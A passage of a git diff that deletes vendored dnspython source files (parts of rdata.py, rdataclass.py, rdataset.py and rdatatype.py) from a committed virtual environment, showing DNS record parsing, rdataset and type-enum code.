convenience, if value is a singleton of the list - # element type, wrap it in a tuple. - return (as_value(value),) - except Exception: - # Otherwise, check each element of the iterable *value* - # against *as_value*. - return tuple(as_value(v) for v in value) - - # Processing order - - @classmethod - def _processing_order(cls, iterable): - items = list(iterable) - random.shuffle(items) - return items - - -@dns.immutable.immutable -class GenericRdata(Rdata): - """Generic Rdata Class - - This class is used for rdata types for which we have no better - implementation. It implements the DNS "unknown RRs" scheme. - """ - - __slots__ = ["data"] - - def __init__( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - data: bytes, - ) -> None: - super().__init__(rdclass, rdtype) - self.data = data - - def to_text( - self, - origin: dns.name.Name | None = None, - relativize: bool = True, - **kw: Dict[str, Any], - ) -> str: - return rf"\# {len(self.data)} " + _hexify(self.data, **kw) # pyright: ignore - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - token = tok.get() - if not token.is_identifier() or token.value != r"\#": - raise dns.exception.SyntaxError(r"generic rdata does not start with \#") - length = tok.get_int() - hex = tok.concatenate_remaining_identifiers(True).encode() - data = binascii.unhexlify(hex) - if len(data) != length: - raise dns.exception.SyntaxError("generic rdata hex data has wrong length") - return cls(rdclass, rdtype, data) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(self.data) - - def to_generic(self, origin: dns.name.Name | None = None) -> "GenericRdata": - return self - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - return cls(rdclass, rdtype, parser.get_remaining()) - - -_rdata_classes: Dict[Tuple[dns.rdataclass.RdataClass, dns.rdatatype.RdataType], Any] = ( - {} -) -_module_prefix = "dns.rdtypes" -_dynamic_load_allowed = True - - -def get_rdata_class(rdclass, rdtype, use_generic=True): - cls = _rdata_classes.get((rdclass, rdtype)) - if not cls: - cls = _rdata_classes.get((dns.rdataclass.ANY, rdtype)) - if not cls and _dynamic_load_allowed: - rdclass_text = dns.rdataclass.to_text(rdclass) - rdtype_text = dns.rdatatype.to_text(rdtype) - rdtype_text = rdtype_text.replace("-", "_") - try: - mod = import_module( - ".".join([_module_prefix, rdclass_text, rdtype_text]) - ) - cls = getattr(mod, rdtype_text) - _rdata_classes[(rdclass, rdtype)] = cls - except ImportError: - try: - mod = import_module(".".join([_module_prefix, "ANY", rdtype_text])) - cls = getattr(mod, rdtype_text) - _rdata_classes[(dns.rdataclass.ANY, rdtype)] = cls - _rdata_classes[(rdclass, rdtype)] = cls - except ImportError: - pass - if not cls and use_generic: - cls = GenericRdata - _rdata_classes[(rdclass, rdtype)] = cls - return cls - - -def load_all_types(disable_dynamic_load=True): - """Load all rdata types for which dnspython has a non-generic implementation. - - Normally dnspython loads DNS rdatatype implementations on demand, but in some - specialized cases loading all types at an application-controlled time is preferred. - - If *disable_dynamic_load*, a ``bool``, is ``True`` then dnspython will not attempt - to use its dynamic loading mechanism if an unknown type is subsequently encountered, - and will simply use the ``GenericRdata`` class. - """ - # Load class IN and ANY types. - for rdtype in dns.rdatatype.RdataType: - get_rdata_class(dns.rdataclass.IN, rdtype, False) - # Load the one non-ANY implementation we have in CH. Everything - # else in CH is an ANY type, and we'll discover those on demand but won't - # have to import anything. - get_rdata_class(dns.rdataclass.CH, dns.rdatatype.A, False) - if disable_dynamic_load: - # Now disable dynamic loading so any subsequent unknown type immediately becomes - # GenericRdata without a load attempt. - global _dynamic_load_allowed - _dynamic_load_allowed = False - - -def from_text( - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - tok: dns.tokenizer.Tokenizer | str, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, - idna_codec: dns.name.IDNACodec | None = None, -) -> Rdata: - """Build an rdata object from text format. - - This function attempts to dynamically load a class which - implements the specified rdata class and type. If there is no - class-and-type-specific implementation, the GenericRdata class - is used. - - Once a class is chosen, its from_text() class method is called - with the parameters to this function. - - If *tok* is a ``str``, then a tokenizer is created and the string - is used as its input. - - *rdclass*, a ``dns.rdataclass.RdataClass`` or ``str``, the rdataclass. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdatatype. - - *tok*, a ``dns.tokenizer.Tokenizer`` or a ``str``. - - *origin*, a ``dns.name.Name`` (or ``None``), the - origin to use for relative names. - - *relativize*, a ``bool``. If true, name will be relativized. - - *relativize_to*, a ``dns.name.Name`` (or ``None``), the origin to use - when relativizing names. If not set, the *origin* value will be used. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder to use if a tokenizer needs to be created. If - ``None``, the default IDNA 2003 encoder/decoder is used. If a - tokenizer is not created, then the codec associated with the tokenizer - is the one that is used. - - Returns an instance of the chosen Rdata subclass. - - """ - if isinstance(tok, str): - tok = dns.tokenizer.Tokenizer(tok, idna_codec=idna_codec) - if not isinstance(tok, dns.tokenizer.Tokenizer): - raise ValueError("tok must be a string or a Tokenizer") - rdclass = dns.rdataclass.RdataClass.make(rdclass) - rdtype = dns.rdatatype.RdataType.make(rdtype) - cls = get_rdata_class(rdclass, rdtype) - assert cls is not None # for type checkers - with dns.exception.ExceptionWrapper(dns.exception.SyntaxError): - rdata = None - if cls != GenericRdata: - # peek at first token - token = tok.get() - tok.unget(token) - if token.is_identifier() and token.value == r"\#": - # - # Known type using the generic syntax. Extract the - # wire form from the generic syntax, and then run - # from_wire on it. - # - grdata = GenericRdata.from_text( - rdclass, rdtype, tok, origin, relativize, relativize_to - ) - rdata = from_wire( - rdclass, rdtype, grdata.data, 0, len(grdata.data), origin - ) - # - # If this comparison isn't equal, then there must have been - # compressed names in the wire format, which is an error, - # there being no reasonable context to decompress with. - # - rwire = rdata.to_wire() - if rwire != grdata.data: - raise dns.exception.SyntaxError( - "compressed data in " - "generic syntax form " - "of known rdatatype" - ) - if rdata is None: - rdata = cls.from_text( - rdclass, rdtype, tok, origin, relativize, relativize_to - ) - token = tok.get_eol_as_token() - if token.comment is not None: - object.__setattr__(rdata, "rdcomment", token.comment) - return rdata - - -def from_wire_parser( - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - parser: dns.wire.Parser, - origin: dns.name.Name | None = None, -) -> Rdata: - """Build an rdata object from wire format - - This function attempts to dynamically load a class which - implements the specified rdata class and type. If there is no - class-and-type-specific implementation, the GenericRdata class - is used. - - Once a class is chosen, its from_wire() class method is called - with the parameters to this function. - - *rdclass*, a ``dns.rdataclass.RdataClass`` or ``str``, the rdataclass. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdatatype. - - *parser*, a ``dns.wire.Parser``, the parser, which should be - restricted to the rdata length. - - *origin*, a ``dns.name.Name`` (or ``None``). If not ``None``, - then names will be relativized to this origin. - - Returns an instance of the chosen Rdata subclass. - """ - - rdclass = dns.rdataclass.RdataClass.make(rdclass) - rdtype = dns.rdatatype.RdataType.make(rdtype) - cls = get_rdata_class(rdclass, rdtype) - assert cls is not None # for type checkers - with dns.exception.ExceptionWrapper(dns.exception.FormError): - return cls.from_wire_parser(rdclass, rdtype, parser, origin) - - -def from_wire( - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - wire: bytes, - current: int, - rdlen: int, - origin: dns.name.Name | None = None, -) -> Rdata: - """Build an rdata object from wire format - - This function attempts to dynamically load a class which - implements the specified rdata class and type. If there is no - class-and-type-specific implementation, the GenericRdata class - is used. - - Once a class is chosen, its from_wire() class method is called - with the parameters to this function. - - *rdclass*, an ``int``, the rdataclass. - - *rdtype*, an ``int``, the rdatatype. - - *wire*, a ``bytes``, the wire-format message. - - *current*, an ``int``, the offset in wire of the beginning of - the rdata. - - *rdlen*, an ``int``, the length of the wire-format rdata - - *origin*, a ``dns.name.Name`` (or ``None``). If not ``None``, - then names will be relativized to this origin. - - Returns an instance of the chosen Rdata subclass. - """ - parser = dns.wire.Parser(wire, current) - with parser.restrict_to(rdlen): - return from_wire_parser(rdclass, rdtype, parser, origin) - - -class RdatatypeExists(dns.exception.DNSException): - """DNS rdatatype already exists.""" - - supp_kwargs = {"rdclass", "rdtype"} - fmt = ( - "The rdata type with class {rdclass:d} and rdtype {rdtype:d} " - + "already exists." - ) - - -def register_type( - implementation: Any, - rdtype: int, - rdtype_text: str, - is_singleton: bool = False, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, -) -> None: - """Dynamically register a module to handle an rdatatype. - - *implementation*, a subclass of ``dns.rdata.Rdata`` implementing the type, - or a module containing such a class named by its text form. - - *rdtype*, an ``int``, the rdatatype to register. - - *rdtype_text*, a ``str``, the textual form of the rdatatype. - - *is_singleton*, a ``bool``, indicating if the type is a singleton (i.e. - RRsets of the type can have only one member.) - - *rdclass*, the rdataclass of the type, or ``dns.rdataclass.ANY`` if - it applies to all classes. - """ - - rdtype = dns.rdatatype.RdataType.make(rdtype) - existing_cls = get_rdata_class(rdclass, rdtype) - if existing_cls != GenericRdata or dns.rdatatype.is_metatype(rdtype): - raise RdatatypeExists(rdclass=rdclass, rdtype=rdtype) - if isinstance(implementation, type) and issubclass(implementation, Rdata): - impclass = implementation - else: - impclass = getattr(implementation, rdtype_text.replace("-", "_")) - _rdata_classes[(rdclass, rdtype)] = impclass - dns.rdatatype.register_type(rdtype, rdtype_text, is_singleton) diff --git a/venv/Lib/site-packages/dns/rdataclass.py b/venv/Lib/site-packages/dns/rdataclass.py deleted file mode 100644 index 89b85a79c27ca8eb40bd85d65a17b6280fc50a43..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdataclass.py +++ /dev/null @@ -1,118 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Rdata Classes.""" - -import dns.enum -import dns.exception - - -class RdataClass(dns.enum.IntEnum): - """DNS Rdata Class""" - - RESERVED0 = 0 - IN = 1 - INTERNET = IN - CH = 3 - CHAOS = CH - HS = 4 - HESIOD = HS - NONE = 254 - ANY = 255 - - @classmethod - def _maximum(cls): - return 65535 - - @classmethod - def _short_name(cls): - return "class" - - @classmethod - def _prefix(cls): - return "CLASS" - - @classmethod - def _unknown_exception_class(cls): - return UnknownRdataclass - - -_metaclasses = {RdataClass.NONE, RdataClass.ANY} - - -class UnknownRdataclass(dns.exception.DNSException): - """A DNS class is unknown.""" - - -def from_text(text: str) -> RdataClass: - """Convert text into a DNS rdata class value. - - The input text can be a defined DNS RR class mnemonic or - instance of the DNS generic class syntax. - - For example, "IN" and "CLASS1" will both result in a value of 1. - - Raises ``dns.rdatatype.UnknownRdataclass`` if the class is unknown. - - Raises ``ValueError`` if the rdata class value is not >= 0 and <= 65535. - - Returns a ``dns.rdataclass.RdataClass``. - """ - - return RdataClass.from_text(text) - - -def to_text(value: RdataClass) -> str: - """Convert a DNS rdata class value to text. - - If the value has a known mnemonic, it will be used, otherwise the - DNS generic class syntax will be used. - - Raises ``ValueError`` if the rdata class value is not >= 0 and <= 65535. - - Returns a ``str``. - """ - - return RdataClass.to_text(value) - - -def is_metaclass(rdclass: RdataClass) -> bool: - """True if the specified class is a metaclass. - - The currently defined metaclasses are ANY and NONE. - - *rdclass* is a ``dns.rdataclass.RdataClass``. - """ - - if rdclass in _metaclasses: - return True - return False - - -### BEGIN generated RdataClass constants - -RESERVED0 = RdataClass.RESERVED0 -IN = RdataClass.IN -INTERNET = RdataClass.INTERNET -CH = RdataClass.CH -CHAOS = RdataClass.CHAOS -HS = RdataClass.HS -HESIOD = RdataClass.HESIOD -NONE = RdataClass.NONE -ANY = RdataClass.ANY - -### END generated RdataClass constants diff --git a/venv/Lib/site-packages/dns/rdataset.py b/venv/Lib/site-packages/dns/rdataset.py deleted file mode 100644 index 1edf67d740903b1497bded16b58fb710ac5f3d93..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdataset.py +++ /dev/null @@ -1,508 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS rdatasets (an rdataset is a set of rdatas of a given type and class)""" - -import io -import random -import struct -from typing import Any, Collection, Dict, List, cast - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.renderer -import dns.set -import dns.ttl - -# define SimpleSet here for backwards compatibility -SimpleSet = dns.set.Set - - -class DifferingCovers(dns.exception.DNSException): - """An attempt was made to add a DNS SIG/RRSIG whose covered type - is not the same as that of the other rdatas in the rdataset.""" - - -class IncompatibleTypes(dns.exception.DNSException): - """An attempt was made to add DNS RR data of an incompatible type.""" - - -class Rdataset(dns.set.Set): - """A DNS rdataset.""" - - __slots__ = ["rdclass", "rdtype", "covers", "ttl"] - - def __init__( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - ttl: int = 0, - ): - """Create a new rdataset of the specified class and type. - - *rdclass*, a ``dns.rdataclass.RdataClass``, the rdataclass. - - *rdtype*, an ``dns.rdatatype.RdataType``, the rdatatype. - - *covers*, an ``dns.rdatatype.RdataType``, the covered rdatatype. - - *ttl*, an ``int``, the TTL. - """ - - super().__init__() - self.rdclass = rdclass - self.rdtype: dns.rdatatype.RdataType = rdtype - self.covers: dns.rdatatype.RdataType = covers - self.ttl = ttl - - def _clone(self): - obj = cast(Rdataset, super()._clone()) - obj.rdclass = self.rdclass - obj.rdtype = self.rdtype - obj.covers = self.covers - obj.ttl = self.ttl - return obj - - def update_ttl(self, ttl: int) -> None: - """Perform TTL minimization. - - Set the TTL of the rdataset to be the lesser of the set's current - TTL or the specified TTL. If the set contains no rdatas, set the TTL - to the specified TTL. - - *ttl*, an ``int`` or ``str``. - """ - ttl = dns.ttl.make(ttl) - if len(self) == 0: - self.ttl = ttl - elif ttl < self.ttl: - self.ttl = ttl - - # pylint: disable=arguments-differ,arguments-renamed - def add( # pyright: ignore - self, rd: dns.rdata.Rdata, ttl: int | None = None - ) -> None: - """Add the specified rdata to the rdataset. - - If the optional *ttl* parameter is supplied, then - ``self.update_ttl(ttl)`` will be called prior to adding the rdata. - - *rd*, a ``dns.rdata.Rdata``, the rdata - - *ttl*, an ``int``, the TTL. - - Raises ``dns.rdataset.IncompatibleTypes`` if the type and class - do not match the type and class of the rdataset. - - Raises ``dns.rdataset.DifferingCovers`` if the type is a signature - type and the covered type does not match that of the rdataset. - """ - - # - # If we're adding a signature, do some special handling to - # check that the signature covers the same type as the - # other rdatas in this rdataset. If this is the first rdata - # in the set, initialize the covers field. - # - if self.rdclass != rd.rdclass or self.rdtype != rd.rdtype: - raise IncompatibleTypes - if ttl is not None: - self.update_ttl(ttl) - if self.rdtype == dns.rdatatype.RRSIG or self.rdtype == dns.rdatatype.SIG: - covers = rd.covers() - if len(self) == 0 and self.covers == dns.rdatatype.NONE: - self.covers = covers - elif self.covers != covers: - raise DifferingCovers - if dns.rdatatype.is_singleton(rd.rdtype) and len(self) > 0: - self.clear() - super().add(rd) - - def union_update(self, other): - self.update_ttl(other.ttl) - super().union_update(other) - - def intersection_update(self, other): - self.update_ttl(other.ttl) - super().intersection_update(other) - - def update(self, other): - """Add all rdatas in other to self. - - *other*, a ``dns.rdataset.Rdataset``, the rdataset from which - to update. - """ - - self.update_ttl(other.ttl) - super().update(other) - - def _rdata_repr(self): - def maybe_truncate(s): - if len(s) > 100: - return s[:100] + "..." - return s - - return "[" + ", ".join(f"<{maybe_truncate(str(rr))}>" for rr in self) + "]" - - def __repr__(self): - if self.covers == 0: - ctext = "" - else: - ctext = "(" + dns.rdatatype.to_text(self.covers) + ")" - return ( - "" - ) - - def __str__(self): - return self.to_text() - - def __eq__(self, other): - if not isinstance(other, Rdataset): - return False - if ( - self.rdclass != other.rdclass - or self.rdtype != other.rdtype - or self.covers != other.covers - ): - return False - return super().__eq__(other) - - def __ne__(self, other): - return not self.__eq__(other) - - def to_text( - self, - name: dns.name.Name | None = None, - origin: dns.name.Name | None = None, - relativize: bool = True, - override_rdclass: dns.rdataclass.RdataClass | None = None, - want_comments: bool = False, - **kw: Dict[str, Any], - ) -> str: - """Convert the rdataset into DNS zone file format. - - See ``dns.name.Name.choose_relativity`` for more information - on how *origin* and *relativize* determine the way names - are emitted. - - Any additional keyword arguments are passed on to the rdata - ``to_text()`` method. - - *name*, a ``dns.name.Name``. If name is not ``None``, emit RRs with - *name* as the owner name. - - *origin*, a ``dns.name.Name`` or ``None``, the origin for relative - names. - - *relativize*, a ``bool``. If ``True``, names will be relativized - to *origin*. - - *override_rdclass*, a ``dns.rdataclass.RdataClass`` or ``None``. - If not ``None``, use this class instead of the Rdataset's class. - - *want_comments*, a ``bool``. If ``True``, emit comments for rdata - which have them. The default is ``False``. - """ - - if name is not None: - name = name.choose_relativity(origin, relativize) - ntext = str(name) - pad = " " - else: - ntext = "" - pad = "" - s = io.StringIO() - if override_rdclass is not None: - rdclass = override_rdclass - else: - rdclass = self.rdclass - if len(self) == 0: - # - # Empty rdatasets are used for the question section, and in - # some dynamic updates, so we don't need to print out the TTL - # (which is meaningless anyway). - # - s.write( - f"{ntext}{pad}{dns.rdataclass.to_text(rdclass)} " - f"{dns.rdatatype.to_text(self.rdtype)}\n" - ) - else: - for rd in self: - extra = "" - if want_comments: - if rd.rdcomment: - extra = f" ;{rd.rdcomment}" - s.write( - f"{ntext}{pad}{self.ttl} " - f"{dns.rdataclass.to_text(rdclass)} " - f"{dns.rdatatype.to_text(self.rdtype)} " - f"{rd.to_text(origin=origin, relativize=relativize, **kw)}" - f"{extra}\n" - ) - # - # We strip off the final \n for the caller's convenience in printing - # - return s.getvalue()[:-1] - - def to_wire( - self, - name: dns.name.Name, - file: Any, - compress: dns.name.CompressType | None = None, - origin: dns.name.Name | None = None, - override_rdclass: dns.rdataclass.RdataClass | None = None, - want_shuffle: bool = True, - ) -> int: - """Convert the rdataset to wire format. - - *name*, a ``dns.name.Name`` is the owner name to use. - - *file* is the file where the name is emitted (typically a - BytesIO file). - - *compress*, a ``dict``, is the compression table to use. If - ``None`` (the default), names will not be compressed. - - *origin* is a ``dns.name.Name`` or ``None``. If the name is - relative and origin is not ``None``, then *origin* will be appended - to it. - - *override_rdclass*, an ``int``, is used as the class instead of the - class of the rdataset. This is useful when rendering rdatasets - associated with dynamic updates. - - *want_shuffle*, a ``bool``. If ``True``, then the order of the - Rdatas within the Rdataset will be shuffled before rendering. - - Returns an ``int``, the number of records emitted. - """ - - if override_rdclass is not None: - rdclass = override_rdclass - want_shuffle = False - else: - rdclass = self.rdclass - if len(self) == 0: - name.to_wire(file, compress, origin) - file.write(struct.pack("!HHIH", self.rdtype, rdclass, 0, 0)) - return 1 - else: - l: Rdataset | List[dns.rdata.Rdata] - if want_shuffle: - l = list(self) - random.shuffle(l) - else: - l = self - for rd in l: - name.to_wire(file, compress, origin) - file.write(struct.pack("!HHI", self.rdtype, rdclass, self.ttl)) - with dns.renderer.prefixed_length(file, 2): - rd.to_wire(file, compress, origin) - return len(self) - - def match( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType, - ) -> bool: - """Returns ``True`` if this rdataset matches the specified class, - type, and covers. - """ - if self.rdclass == rdclass and self.rdtype == rdtype and self.covers == covers: - return True - return False - - def processing_order(self) -> List[dns.rdata.Rdata]: - """Return rdatas in a valid processing order according to the type's - specification. For example, MX records are in preference order from - lowest to highest preferences, with items of the same preference - shuffled. - - For types that do not define a processing order, the rdatas are - simply shuffled. - """ - if len(self) == 0: - return [] - else: - return self[0]._processing_order(iter(self)) # pyright: ignore - - -@dns.immutable.immutable -class ImmutableRdataset(Rdataset): # lgtm[py/missing-equals] - """An immutable DNS rdataset.""" - - _clone_class = Rdataset - - def __init__(self, rdataset: Rdataset): - """Create an immutable rdataset from the specified rdataset.""" - - super().__init__( - rdataset.rdclass, rdataset.rdtype, rdataset.covers, rdataset.ttl - ) - self.items = dns.immutable.Dict(rdataset.items) - - def update_ttl(self, ttl): - raise TypeError("immutable") - - def add(self, rd, ttl=None): - raise TypeError("immutable") - - def union_update(self, other): - raise TypeError("immutable") - - def intersection_update(self, other): - raise TypeError("immutable") - - def update(self, other): - raise TypeError("immutable") - - def __delitem__(self, i): - raise TypeError("immutable") - - # lgtm complains about these not raising ArithmeticError, but there is - # precedent for overrides of these methods in other classes to raise - # TypeError, and it seems like the better exception. - - def __ior__(self, other): # lgtm[py/unexpected-raise-in-special-method] - raise TypeError("immutable") - - def __iand__(self, other): # lgtm[py/unexpected-raise-in-special-method] - raise TypeError("immutable") - - def __iadd__(self, other): # lgtm[py/unexpected-raise-in-special-method] - raise TypeError("immutable") - - def __isub__(self, other): # lgtm[py/unexpected-raise-in-special-method] - raise TypeError("immutable") - - def clear(self): - raise TypeError("immutable") - - def __copy__(self): - return ImmutableRdataset(super().copy()) # pyright: ignore - - def copy(self): - return ImmutableRdataset(super().copy()) # pyright: ignore - - def union(self, other): - return ImmutableRdataset(super().union(other)) # pyright: ignore - - def intersection(self, other): - return ImmutableRdataset(super().intersection(other)) # pyright: ignore - - def difference(self, other): - return ImmutableRdataset(super().difference(other)) # pyright: ignore - - def symmetric_difference(self, other): - return ImmutableRdataset(super().symmetric_difference(other)) # pyright: ignore - - -def from_text_list( - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - ttl: int, - text_rdatas: Collection[str], - idna_codec: dns.name.IDNACodec | None = None, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, -) -> Rdataset: - """Create an rdataset with the specified class, type, and TTL, and with - the specified list of rdatas in text format. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder to use; if ``None``, the default IDNA 2003 - encoder/decoder is used. - - *origin*, a ``dns.name.Name`` (or ``None``), the - origin to use for relative names. - - *relativize*, a ``bool``. If true, name will be relativized. - - *relativize_to*, a ``dns.name.Name`` (or ``None``), the origin to use - when relativizing names. If not set, the *origin* value will be used. - - Returns a ``dns.rdataset.Rdataset`` object. - """ - - rdclass = dns.rdataclass.RdataClass.make(rdclass) - rdtype = dns.rdatatype.RdataType.make(rdtype) - r = Rdataset(rdclass, rdtype) - r.update_ttl(ttl) - for t in text_rdatas: - rd = dns.rdata.from_text( - r.rdclass, r.rdtype, t, origin, relativize, relativize_to, idna_codec - ) - r.add(rd) - return r - - -def from_text( - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - ttl: int, - *text_rdatas: Any, -) -> Rdataset: - """Create an rdataset with the specified class, type, and TTL, and with - the specified rdatas in text format. - - Returns a ``dns.rdataset.Rdataset`` object. - """ - - return from_text_list(rdclass, rdtype, ttl, cast(Collection[str], text_rdatas)) - - -def from_rdata_list(ttl: int, rdatas: Collection[dns.rdata.Rdata]) -> Rdataset: - """Create an rdataset with the specified TTL, and with - the specified list of rdata objects. - - Returns a ``dns.rdataset.Rdataset`` object. - """ - - if len(rdatas) == 0: - raise ValueError("rdata list must not be empty") - r = None - for rd in rdatas: - if r is None: - r = Rdataset(rd.rdclass, rd.rdtype) - r.update_ttl(ttl) - r.add(rd) - assert r is not None - return r - - -def from_rdata(ttl: int, *rdatas: Any) -> Rdataset: - """Create an rdataset with the specified TTL, and with - the specified rdata objects. - - Returns a ``dns.rdataset.Rdataset`` object. - """ - - return from_rdata_list(ttl, cast(Collection[dns.rdata.Rdata], rdatas)) diff --git a/venv/Lib/site-packages/dns/rdatatype.py b/venv/Lib/site-packages/dns/rdatatype.py deleted file mode 100644 index 211d810da69b3a666ef49ce0900c916d6e7d494e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdatatype.py +++ /dev/null @@ -1,338 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Rdata Types.""" - -from typing import Dict - -import dns.enum -import dns.exception - - -class RdataType(dns.enum.IntEnum): - """DNS Rdata Type""" - - TYPE0 = 0 - NONE = 0 - A = 1 - NS = 2 - MD = 3 - MF = 4 - CNAME = 5 - SOA = 6 - MB = 7 - MG = 8 - MR = 9 - NULL = 10 - WKS = 11 - PTR = 12 - HINFO = 13 - MINFO = 14 - MX = 15 - TXT = 16 - RP = 17 - AFSDB = 18 - X25 = 19 - ISDN = 20 - RT = 21 - NSAP = 22 - NSAP_PTR = 23 - SIG = 24 - KEY = 25 - PX = 26 - GPOS = 27 - AAAA = 28 - LOC = 29 - NXT = 30 - SRV = 33 - NAPTR = 35 - KX = 36 - CERT = 37 - A6 = 38 - DNAME = 39 - OPT = 41 - APL = 42 - DS = 43 - SSHFP = 44 - IPSECKEY = 45 - RRSIG = 46 - NSEC = 47 - DNSKEY = 48 - DHCID = 49 - NSEC3 = 50 - NSEC3PARAM = 51 - TLSA = 52 - SMIMEA = 53 - HIP = 55 - NINFO = 56 - CDS = 59 - CDNSKEY = 60 - OPENPGPKEY = 61 - CSYNC = 62 - ZONEMD = 63 - SVCB = 64 - HTTPS = 65 - DSYNC = 66 - SPF = 99 - UNSPEC = 103 - NID = 104 - L32 = 105 - L64 = 106 - LP = 107 - EUI48 = 108 - EUI64 = 109 - TKEY = 249 - TSIG = 250 - IXFR = 251 - AXFR = 252 - MAILB = 253 - MAILA = 254 - ANY = 255 - URI = 256 - CAA = 257 - AVC = 258 - AMTRELAY = 260 - RESINFO = 261 - WALLET = 262 - TA = 32768 - DLV = 32769 - - @classmethod - def _maximum(cls): - return 65535 - - @classmethod - def _short_name(cls): - return "type" - - @classmethod - def _prefix(cls): - return "TYPE" - - @classmethod - def _extra_from_text(cls, text): - if text.find("-") >= 0: - try: - return cls[text.replace("-", "_")] - except KeyError: # pragma: no cover - pass - return _registered_by_text.get(text) - - @classmethod - def _extra_to_text(cls, value, current_text): - if current_text is None: - return _registered_by_value.get(value) - if current_text.find("_") >= 0: - return current_text.replace("_", "-") - return current_text - - @classmethod - def _unknown_exception_class(cls): - return UnknownRdatatype - - -_registered_by_text: Dict[str, RdataType] = {} -_registered_by_value: Dict[RdataType, str] = {} - -_metatypes = {RdataType.OPT} - -_singletons = { - RdataType.SOA, - RdataType.NXT, - RdataType.DNAME, - RdataType.NSEC, - RdataType.CNAME, -} - - -class UnknownRdatatype(dns.exception.DNSException): - """DNS resource record type is unknown.""" - - -def from_text(text: str) -> RdataType: - """Convert text into a DNS rdata type value. - - The input text can be a defined DNS RR type mnemonic or - instance of the DNS generic type syntax. - - For example, "NS" and "TYPE2" will both result in a value of 2. - - Raises ``dns.rdatatype.UnknownRdatatype`` if the type is unknown. - - Raises ``ValueError`` if the rdata type value is not >= 0 and <= 65535. - - Returns a ``dns.rdatatype.RdataType``. - """ - - return RdataType.from_text(text) - - -def to_text(value: RdataType) -> str: - """Convert a DNS rdata type value to text. - - If the value has a known mnemonic, it will be used, otherwise the - DNS generic type syntax will be used. - - Raises ``ValueError`` if the rdata type value is not >= 0 and <= 65535. - - Returns a ``str``. - """ - - return RdataType.to_text(value) - - -def is_metatype(rdtype: RdataType) -> bool: - """True if the specified type is a metatype. - - *rdtype* is a ``dns.rdatatype.RdataType``. - - The currently defined 